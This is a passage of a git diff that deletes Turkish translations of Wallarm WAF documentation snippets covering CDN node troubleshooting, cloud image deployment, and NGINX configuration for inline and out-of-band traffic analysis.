entegrasyonlar][integration-docs] ve [triggers][trigger-docs] aracılığıyla yapılandırılan sistem olay bildirimleri -* [**Nodes** bölümünün UI'sini kullanma][nodes-ui-docs] korunan kaynağın origin adresini güncellemek, özel SSL/TLS sertifikasını yüklemek ve CDN düğümlerini silmek için -* [Varnish Cache'i kullanıp kullanmamayı seçme][using-varnish-cache] içerik teslimatınızı hızlandırmak için. \ No newline at end of file diff --git a/include-tr/waf/installation/cdn-node/cdn-node-deployment-requirements.md b/include-tr/waf/installation/cdn-node/cdn-node-deployment-requirements.md deleted file mode 100644 index 40f06e3373..0000000000 --- a/include-tr/waf/installation/cdn-node/cdn-node-deployment-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -* Korunacak web sitesi üçüncü düzey (veya daha alt) alan adı olmalıdır -* Web sitesiyle ilişkili IPv4 adresi (IPv6 desteklenmez) -* Etki alanının DNS kayıtlarını düzenlemek için yeterli erişim yetkileri -* CDN düğümünü yapılandıran kullanıcıya atanmış **Administrator** [rol][user-roles-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/cdn-node/cdn-node-troubleshooting.md b/include-tr/waf/installation/cdn-node/cdn-node-troubleshooting.md deleted file mode 100644 index a4a16cfbdb..0000000000 --- a/include-tr/waf/installation/cdn-node/cdn-node-troubleshooting.md +++ /dev/null @@ -1,69 +0,0 @@ -### CDN düğümü durumları ne anlama gelir? - -Wallarm Console → **Nodes** içinde CDN düğümleri için aşağıdaki durumlar görünebilir: - -* **Registering**: Wallarm, CDN düğümünü bulut sağlayıcısında kaydediyor. - - Gerekli işlem: Korunan alan adının DNS kayıtlarına Wallarm CNAME kaydını eklemek için **Requires CNAME** durumunu bekleyin. -* **Requires CNAME**: Wallarm CNAME kaydı, korunan alan adının DNS kayıtlarına eklenmemiştir veya eklenmiştir ancak henüz yayılmamıştır. - - Gerekli işlem: Wallarm tarafından sağlanan CNAME kaydını korunan alan adının DNS kayıtlarına ekleyin ya da değişikliklerin İnternet üzerinde etkili olmasını bekleyin. - - Değişiklikler 24 saatten uzun süre boyunca etkili olmazsa, alan adı sağlayıcınızın DNS kayıtlarını başarıyla güncellediğini kontrol edin. Öyleyse, ancak Wallarm Console'da hâlâ **Not propagated yet** durumu görüntüleniyorsa, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - - Beklenen bir sonraki durum **Active**. -* **Configuring**: Wallarm, değiştirilen origin adresini veya SSL/TLS sertifikasını işliyor. - - Gerekli işlem: **Active** durumunu bekleyin. -* **Active**: Wallarm CDN düğümü kötü amaçlı trafiği engeller. - - Gerekli işlem: yok. CDN düğümünün tespit ettiği [olayları][events-docs] izleyebilirsiniz. -* **Deleting**: Wallarm, CDN düğümünü siliyor. - - Gerekli işlem: yok, lütfen silme işleminin tamamlanmasını bekleyin. - -### CNAME kaydının yayıldığını nasıl anlarım? - -Wallarm Console'ın **Nodes** bölümünde, Wallarm CNAME kaydının İnternet üzerinde etkili olup olmadığına ilişkin güncel durum görüntülenir. CNAME kaydı yayıldıysa, CDN düğümünün durumu **Active** olur. - -Buna ek olarak, aşağıdaki istekle HTTP yanıt başlıklarını kontrol edebilirsiniz: - -```bash -curl -v -``` - -Wallarm CNAME kaydı yayıldıysa, yanıtta `section-io-*` başlıkları bulunur. - -CNAME kaydı 24 saatten uzun süre boyunca yayılmazsa, alan adı sağlayıcınızın DNS kayıtlarını başarıyla güncellediğini kontrol edin. Öyleyse, ancak Wallarm Console'da hâlâ **Not propagated yet** durumu görüntüleniyorsa, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - -### **Nodes** bölümünde CDN düğümü kırmızıyla vurgulanmış. Bu ne anlama gelir? - -CDN düğümü **Nodes** bölümünde kırmızıyla vurgulanmışsa, kaydı veya yapılandırması sırasında aşağıdaki olası nedenlerden dolayı bir hata oluşmuştur: - -* Üçüncü taraf bulut sağlayıcıda düğüm kaydedilirken bilinmeyen hata - - Gerekli işlem: [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. -* Geçersiz özel SSL/TLS sertifikası - - Gerekli işlem: Yüklediğiniz sertifikanın geçerli olduğundan emin olun. Değilse, geçerli olanı yükleyin. - -Kırmızıyla vurgulanan CDN düğümü istekleri proxy'lemez ve sonuç olarak kötü amaçlı trafiği engellemez. - -### CDN düğümü neden Wallarm Console'daki düğüm listesinden kaybolmuş olabilir? - -Wallarm, oluşturulduğu andan itibaren 10 gün veya daha uzun süre CNAME kayıtları değiştirilmeden bırakılan CDN düğümlerini siler. - -CDN düğümünün kaybolduğunu görürseniz yeni bir düğüm oluşturun. - -### CDN düğümü tarafından korunan içeriğin güncellenmesinde neden gecikme var? - -Siteniz bir CDN düğümü tarafından korunuyorsa ve verilerinizi değiştirdiğinizde sitenin belirgin bir gecikmeyle güncellendiğini fark ediyorsanız, olası neden içerik teslimini hızlandıran [Varnish Cache][using-varnish-cache] olabilir; ancak CDN üzerindeki önbelleğe alınmış kopya gecikmeli güncellenebilir. - -Örnek: - -1. CDN düğümünüz için Varnish Cache etkin. -1. Sitenizdeki fiyatları güncellediniz. -1. Tüm istekler CDN üzerinden proxy'lenir ve önbellek hemen güncellenmez. -1. Site kullanıcıları bir süre eski fiyatları görür. - -Sorunu çözmek için Varnish Cache'i devre dışı bırakabilirsiniz. Bunu yapmak için **Nodes** → CDN node menu → **Disable Varnish Cache** yolunu izleyin. \ No newline at end of file diff --git a/include-tr/waf/installation/cdn-node/how-cdn-node-works.md b/include-tr/waf/installation/cdn-node/how-cdn-node-works.md deleted file mode 100644 index dbb5c1b0c9..0000000000 --- a/include-tr/waf/installation/cdn-node/how-cdn-node-works.md +++ /dev/null @@ -1,19 +0,0 @@ -Wallarm CDN düğümü korunan sunucuya ters proxy olarak çalışır. Gelen trafiği analiz eder, kötü amaçlı istekleri engeller ve meşru istekleri korunan sunucuya iletir. - -![CDN düğümünün çalışma şeması][cdn-node-operation-scheme] - -!!! warning "CDN düğümü ile neler korunabilir" - CDN düğümü ile üçüncü seviye (ya da daha alt, ör. 4., 5. vb.) alan adlarını koruyabilirsiniz. Örneğin, `ple.example.com` için CDN düğümü oluşturabilirsiniz ancak `example.com` için oluşturamazsınız. - -Wallarm CDN düğümünün diğer özellikleri: - -* Üçüncü taraf bulut sağlayıcı (Section.io) tarafından barındırılır, bu nedenle CDN düğümünü dağıtmak için altyapınızdan hiçbir kaynağa gerek yoktur. - - !!! info "İstek verilerinin üçüncü taraf bulut sağlayıcıya yüklenmesi" - İşlenen isteklere ilişkin bazı veriler Lumen hizmetine yüklenir. -* Bazı istek verilerini Wallarm Cloud'a yükler. [Yüklenen veriler ve hassas verilerin kırpılması hakkında daha fazla bilgi edinin][data-to-wallarm-cloud-docs] -* Şüpheli trafiği tanımlayıp engellemek için [IP graylist içeriklerine][graylist-populating-docs] dayanarak **safe blocking** modunda [çalışır][operation-modes-docs]. - - Modu değiştirmek için ilgili [kuralı][operation-mode-rule-docs] kullanın. -* CDN düğümü tamamen Wallarm Console UI üzerinden yapılandırılır. UI dışında değiştirilecek tek ayar, Wallarm CNAME kaydının korunan kaynağın DNS kayıtlarına eklenmesidir. -* Düğümünüz için [uygulama yapılandırması][link-app-conf] yapılması talebini [Wallarm destek ekibine](mailto:support@wallarm.com) iletebilirsiniz. \ No newline at end of file diff --git a/include-tr/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md b/include-tr/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md deleted file mode 100644 index 2d650f237a..0000000000 --- a/include-tr/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md +++ /dev/null @@ -1,40 +0,0 @@ -!!! info "`wallarm-node-tarantool` paketinin sürümü" - `wallarm-node-tarantool` paketi, ayrı bir sunucuya kurulu birincil NGINX-Wallarm modül paketleriyle aynı sürümde veya daha yüksek bir sürümde olmalıdır. - - Sürümleri kontrol etmek için: - - === "Debian" - ```bash - # birincil NGINX-Wallarm modülü bulunan sunucuda çalıştırın - apt list wallarm-node-nginx - # postanalytics modülü bulunan sunucuda çalıştırın - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # birincil NGINX-Wallarm modülü bulunan sunucuda çalıştırın - apt list wallarm-node-nginx - # postanalytics modülü bulunan sunucuda çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ```bash - # birincil NGINX-Wallarm modülü bulunan sunucuda çalıştırın - yum list wallarm-node-nginx - # postanalytics modülü bulunan sunucuda çalıştırın - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - # birincil NGINX-Wallarm modülü bulunan sunucuda çalıştırın - yum list wallarm-node-nginx - # postanalytics modülü bulunan sunucuda çalıştırın - yum list wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - # birincil NGINX-Wallarm modülü bulunan sunucuda çalıştırın - yum list wallarm-node-nginx - # postanalytics modülü bulunan sunucuda çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md b/include-tr/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md deleted file mode 100644 index 1d334955b6..0000000000 --- a/include-tr/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, Docker image kullanılarak Alibaba Cloud ECS üzerinde Wallarm dağıtımı aşağıdaki **kullanım durumlarında** önerilir: - -* Uygulamalarınız mikroservis mimarisinden yararlanıyor ve halihazırda konteynerleştirilmiş olarak Alibaba Cloud ECS üzerinde çalışıyorsa. -* Her bir konteyner üzerinde ince taneli (granüler) kontrol gerekiyorsa, Docker image bu konuda öne çıkar. Geleneksel VM tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek düzeyde kaynak izolasyonu sağlar. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/ami-use-cases.md b/include-tr/waf/installation/cloud-platforms/ami-use-cases.md deleted file mode 100644 index 932f34fbb5..0000000000 --- a/include-tr/waf/installation/cloud-platforms/ami-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][deployment-platform-docs] arasında, bu **kullanım durumlarında** Wallarm dağıtımı için AMI önerilir: - -* Mevcut altyapınız AWS üzerinde bulunuyorsa. -* NGINX gibi ön uç sistemlerine doğrudan kurmak yerine, güvenlik çözümünü ayrı bir bulut örneği olarak dağıtmayı hedefliyorsanız. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md b/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md deleted file mode 100644 index 57a6a237ca..0000000000 --- a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# Amazon Machine Image'den Wallarm Dağıtımı - -Bu makale, [resmi Amazon Machine Image (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD) kullanarak AWS üzerinde Wallarm dağıtımı için talimatlar sağlar. Çözüm [hat içi][inline-docs] veya [bant dışı][oob-docs] olarak dağıtılabilir. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. Wallarm'ın trafiği analiz etmesini etkinleştirin - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 7. NGINX'i yeniden başlatın - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. Trafiği Wallarm örneğine göndermeyi yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. Wallarm çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 10. Dağıtılan çözüme ince ayar yapın - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami.md b/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami.md deleted file mode 100644 index c7941ea7b3..0000000000 --- a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-ami.md +++ /dev/null @@ -1,79 +0,0 @@ -[img-security-group]: ../../../images/aws-ami/security-group.png -[latest-node-version]: ../../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[nginx-native-node]: ../../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../../admin-en/configure-logging.md -[log-level]: ../../../installation/native-node/all-in-one-conf.md#loglevel - - -# AWS AMI ile NGINX Node’unu Dağıtma - -Bu makale, Wallarm [NGINX düğümü][nginx-native-node]’nü AWS üzerinde [in-line][inline-docs] olarak [resmi Amazon Machine Image (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD) kullanarak dağıtma talimatlarını sağlar. - -İmaj Debian tabanlıdır ve Debian tarafından sağlanan NGINX sürümünü içerir. Şu anda en güncel imaj Debian 12’yi kullanır ve NGINX stable 1.22.1 içerir. - -AWS üzerinde AMI’den Wallarm Node’un dağıtılması genellikle yaklaşık 10 dakika sürer. - -![!](../../../images/waf-installation/aws/aws-ami-flow.png) - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS root hesabını kullanmaktan kaçınmanızı öneririz. Bunun yerine, yalnızca gerekli izinlere sahip IAM kullanıcıları veya rollerini kullanın. - - Dağıtım süreci en az ayrıcalık ilkesini esas alır; Wallarm bileşenlerini sağlamak ve işletmek için gereken asgari erişimleri verir. - -Bu dağıtım için AWS altyapı maliyetlerinin tahmini konusunda rehberlik için, [AWS üzerinde Wallarm dağıtımı için Maliyet Kılavuzu][aws-costs] sayfasına bakın. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -### 4. Örneği Wallarm Cloud’a bağlayın - -Örneğin düğümü, [cloud-init.py][cloud-init-spec] betiği aracılığıyla Wallarm Cloud’a bağlanır. Bu betik, sağlanan bir token kullanarak düğümü Wallarm Cloud’a kaydeder, onu global olarak monitoring [modu][wallarm-mode]na ayarlar ve `--proxy-pass` bayrağına göre düğümün meşru trafiği iletmesini yapılandırır. - -Bulut imajından oluşturulan örnekte `cloud-init.py` betiğini aşağıdaki gibi çalıştırın: - -=== "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='`, düğüm grup adını (var olan; yoksa oluşturulacak) ayarlar. Yalnızca bir API token’ı kullanılıyorsa uygulanır. -* ``, kopyalanan token değeridir. -* ``, Wallarm düğümünün meşru trafiği proxy’lediği adrestir. Mimarinizine bağlı olarak bir uygulama örneğinin IP’si, bir yük dengeleyici veya bir DNS adı olabilir; `http` veya `https` protokolü belirtilmelidir, örn. `http://example.com` veya `https://192.0.2.1`. [Proxy adresi biçimi hakkında daha fazla bilgi için bakın](https://nginx.org/en/docs/http/ngx_http_proxy_module.html?&_ga=2.23729850.1231698478.1756133814-1504295816.1756133814#proxy_pass). - -### 5. Trafiği Wallarm örneğine göndermeyi yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -### 6. Wallarm’ın çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## Günlükler ve metrikleri kullanarak düğümün çalışmasını doğrulama - -Düğümün trafiği algıladığını doğrulamak için metrikleri ve günlükleri aşağıdaki şekilde kontrol edebilirsiniz: - -* Düğüm tarafından sunulan Prometheus metriklerini kontrol edin: - - ``` - curl http://127.0.0.1:9001/metrics - ``` - -* Gelen istekleri ve hataları incelemek için NGINX günlüklerini gözden geçirin: - - * Erişim günlükleri: `/var/log/nginx/access.log` - * Hata günlükleri: `/var/log/nginx/error.log` - -* Wallarm Cloud’a gönderilen veriler, tespit edilen saldırılar ve daha fazlası gibi ayrıntıları içeren [Wallarm’a özgü günlükleri][wallarm-logs] gözden geçirin. Bu günlükler `/opt/wallarm/var/log/wallarm` dizininde yer alır. - -## Dağıtılan çözüme ince ayar yapma - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-5.0.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md b/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md deleted file mode 100644 index dec81ecf86..0000000000 --- a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.8.md +++ /dev/null @@ -1,29 +0,0 @@ -# GCP Machine Image'dan Wallarm Dağıtımı - -Bu makale, GCP üzerinde [resmi Machine Image](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) kullanarak Wallarm'ı dağıtma talimatlarını sağlar. Çözüm [inline][inline-docs] veya [Bant Dışı][oob-docs] olarak dağıtılabilir. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md" - -## 5. Wallarm'ın trafiği analiz etmesini etkinleştirin - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. NGINX'i yeniden başlatın - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. Trafiğin Wallarm örneğine gönderilmesini yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. Wallarm'ın çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. Dağıtılan çözüme ince ayar yapın - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-4.8.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md b/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md deleted file mode 100644 index b7b31f997d..0000000000 --- a/include-tr/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md +++ /dev/null @@ -1,27 +0,0 @@ -# GCP Machine Image kullanarak Wallarm'ı dağıtma - -Bu makale, [resmi Machine Image](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) kullanarak GCP üzerinde Wallarm'ı dağıtma talimatlarını sağlar. Çözüm, ya [satır içi][inline-docs] ya da [bant dışı][oob-docs] olarak dağıtılabilir. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-5.x.md" - -## 5. Örneği Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-for-cloud-images.md" - -## 6. Wallarm örneğine trafik göndermeyi yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob-latest.md" - -## 7. Wallarm'ın çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. Dağıtılan çözüme ince ayar yapın - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options-5.0.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/aws-ecs-use-cases.md b/include-tr/waf/installation/cloud-platforms/aws-ecs-use-cases.md deleted file mode 100644 index e20f7d51fc..0000000000 --- a/include-tr/waf/installation/cloud-platforms/aws-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, Docker imajı kullanılarak AWS ECS üzerinde Wallarm dağıtımı şu **kullanım durumlarında** önerilir: - -* Uygulamalarınız mikroservis mimarisinden yararlanıyor ve zaten konteynerleştirilmiş olup AWS ECS üzerinde çalışıyorsa. -* Her bir konteyner üzerinde ince taneli kontrol gerekiyorsa, Docker imajı bu konuda öne çıkar. Geleneksel VM tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek bir kaynak izolasyonu düzeyi sağlar. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/azure-container-instances-use-cases.md b/include-tr/waf/installation/cloud-platforms/azure-container-instances-use-cases.md deleted file mode 100644 index a91594dc94..0000000000 --- a/include-tr/waf/installation/cloud-platforms/azure-container-instances-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, Docker image kullanılarak Azure Container Instances üzerinde Wallarm dağıtımı şu **kullanım senaryolarında** önerilir: - -* Uygulamalarınız mikroservis mimarisinden yararlanıyor ve zaten konteynerleştirilip Azure Container Instances üzerinde çalışır durumdaysa. -* Her bir konteyner üzerinde granüler kontrol gerekiyorsa, Docker image öne çıkar. Geleneksel VM tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek düzeyde kaynak izolasyonu sağlar. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md b/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 95330ed0d3..0000000000 --- a/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,32 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm düğümü gelen trafiği analiz etmez. Trafik analizini başlatmak için, Wallarm örneğinde `/etc/nginx/sites-enabled/default` dosyası üzerinden trafiği proxy'leyecek şekilde Wallarm'ı yapılandırın: - -1. Wallarm'ın meşru trafiği yönlendireceği bir IP adresi belirleyin. Mimarinize bağlı olarak bu, bir uygulama örneğinin IP'si, bir yük dengeleyici ya da bir DNS adı vb. olabilir. - - Bunu yapmak için, `proxy_pass` değerini düzenleyin; örneğin, Wallarm meşru istekleri `http://10.80.0.5` adresine göndermelidir: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` -1. Wallarm düğümünün gelen trafiği analiz edebilmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Monitoring modu ilk dağıtım ve çözüm testleri için önerilir. Wallarm ayrıca safe blocking ve blocking modlarını da sağlar, [daha fazlasını okuyun][wallarm-mode]. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md b/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index 6f5380f44e..0000000000 --- a/include-tr/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm düğümü gelen trafiği analiz etmez. - -Seçilen Wallarm dağıtım yaklaşımına ([satır içi][inline-docs] veya [Bant Dışı][oob-docs]) bağlı olarak, Wallarm'ı ya trafiği proxy üzerinden iletecek ya da trafik yansımasını işleyecek şekilde yapılandırın. - -Wallarm örneğinde `/etc/nginx/sites-enabled/default` dosyasında aşağıdaki yapılandırmayı gerçekleştirin: - -=== "Satır içi" - 1. Wallarm'ın meşru trafiği proxy üzerinden ileteceği hedef IP adresini ayarlayın. Mimarinize bağlı olarak bu, bir uygulama örneğinin IP'si, bir yük dengeleyici ya da bir DNS adı vb. olabilir. - - Bunu yapmak için `proxy_pass` değerini düzenleyin, örneğin Wallarm meşru istekleri `http://10.80.0.5` adresine göndermelidir: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Wallarm düğümünün gelen trafiği analiz edebilmesi için, `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Monitoring modu ilk dağıtım ve çözümün test edilmesi için önerilir. Wallarm ayrıca Safe blocking ve blocking modlarını da sunar, [daha fazlasını okuyun][wallarm-mode]. -=== "Bant Dışı" - 1. Wallarm düğümünün yansıtılan trafiği kabul edebilmesi için, NGINX `server` bloğunda aşağıdaki yapılandırmayı ayarlayın: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 adresini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * Wallarm Console'un [saldırganların IP adreslerini görüntülemesi][real-ip-docs] için `set_real_ip_from` ve `real_ip_header` yönergeleri gereklidir. - * Yansıtılan trafikten alınan kopyalar dışındaki tüm isteklerin analizini devre dışı bırakmak için `wallarm_force_response_*` yönergeleri gereklidir. - 1. Wallarm düğümünün yansıtılan trafiği analiz etmesi için, `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [bloklanamaz][oob-advantages-limitations], bu nedenle Wallarm'ın kabul ettiği tek [mod][wallarm-mode] monitoring'dir. Satır içi dağıtım için Safe blocking ve blocking modları da vardır; ancak `wallarm_mode` yönergesini monitoring'den farklı bir değere ayarlasanız bile düğüm trafiği izlemeye devam eder ve yalnızca kötü amaçlı trafiği kaydeder (off moduna ayarlanmış olması durumu hariç). \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/fine-tuning-options-4.8.md b/include-tr/waf/installation/cloud-platforms/fine-tuning-options-4.8.md deleted file mode 100644 index bb1d9d3b47..0000000000 --- a/include-tr/waf/installation/cloud-platforms/fine-tuning-options-4.8.md +++ /dev/null @@ -1,23 +0,0 @@ -Dağıtım artık tamamlandı. Filtreleme düğümü, dağıtımdan sonra bazı ek yapılandırmalar gerektirebilir. - -Wallarm ayarları [NGINX direktifleri][wallarm-nginx-directives] veya Wallarm Console UI kullanılarak tanımlanır. Direktifler, Wallarm örneğinde aşağıdaki dosyalarda ayarlanmalıdır: - -* `/etc/nginx/sites-enabled/default` NGINX'in yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm.conf` Wallarm filtreleme düğümünün genel yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm-status.conf` filtreleme düğümünün izleme hizmeti yapılandırmasını tanımlar -* `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` Tarantool veritabanı ayarlarını içerir - -Listelenen dosyaları değiştirebilir veya NGINX ve Wallarm'ın çalışma şeklini tanımlamak için kendi yapılandırma dosyalarınızı oluşturabilirsiniz. Aynı şekilde işlenmesi gereken her bir etki alanı grubu için `server` bloğu içeren ayrı bir yapılandırma dosyası oluşturmanız önerilir (örn. `example.com.conf`). NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX belgelerine](https://nginx.org/en/docs/beginners_guide.html) bakın. - -!!! info "Yapılandırma dosyası oluşturma" - Özel bir yapılandırma dosyası oluştururken, NGINX'in gelen bağlantıları kullanılmayan bir bağlantı noktasında dinlediğinden emin olun. - -Aşağıda, gerekirse uygulayabileceğiniz tipik ayarlardan bazıları yer almaktadır: - -* [Wallarm düğümünün otomatik ölçeklendirilmesi][autoscaling-docs] -* [İstemcinin gerçek IP adresinin görüntülenmesi][real-ip-docs] -* [Wallarm düğümleri için kaynak ayırma][allocate-memory-docs] -* [Tek bir isteğin işlenme süresinin sınırlandırılması][limiting-request-processing] -* [Sunucu yanıtı bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Maksimum istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarm düğümü günlük kaydı][logs-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/fine-tuning-options-5.0.md b/include-tr/waf/installation/cloud-platforms/fine-tuning-options-5.0.md deleted file mode 100644 index 9a2573387e..0000000000 --- a/include-tr/waf/installation/cloud-platforms/fine-tuning-options-5.0.md +++ /dev/null @@ -1,23 +0,0 @@ -Dağıtım artık tamamlandı. Filtreleme düğümü, dağıtımdan sonra bazı ek yapılandırmalar gerektirebilir. - -Wallarm ayarları [NGINX direktifleri][wallarm-nginx-directives] veya Wallarm Console UI kullanılarak tanımlanır. Direktifler, Wallarm örneğinde aşağıdaki dosyalarda ayarlanmalıdır: - -* `/etc/nginx/sites-enabled/default` NGINX yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm.conf` Wallarm filtreleme düğümünün genel yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm-status.conf` filtreleme düğümü izleme servisi yapılandırmasını tanımlar -* `/etc/default/wallarm-tarantool` veya `/etc/sysconfig/wallarm-tarantool` Tarantool veritabanı ayarlarını içerir - -Listelenen dosyaları değiştirebilir veya NGINX ve Wallarm'ın çalışma şeklini tanımlamak için kendi yapılandırma dosyalarınızı 